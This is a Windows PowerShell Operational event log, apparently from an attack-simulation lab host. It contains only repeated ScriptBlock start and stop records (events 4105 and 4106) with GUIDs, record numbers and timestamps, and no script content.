LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035541
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035535
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035513
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035511
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035510
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
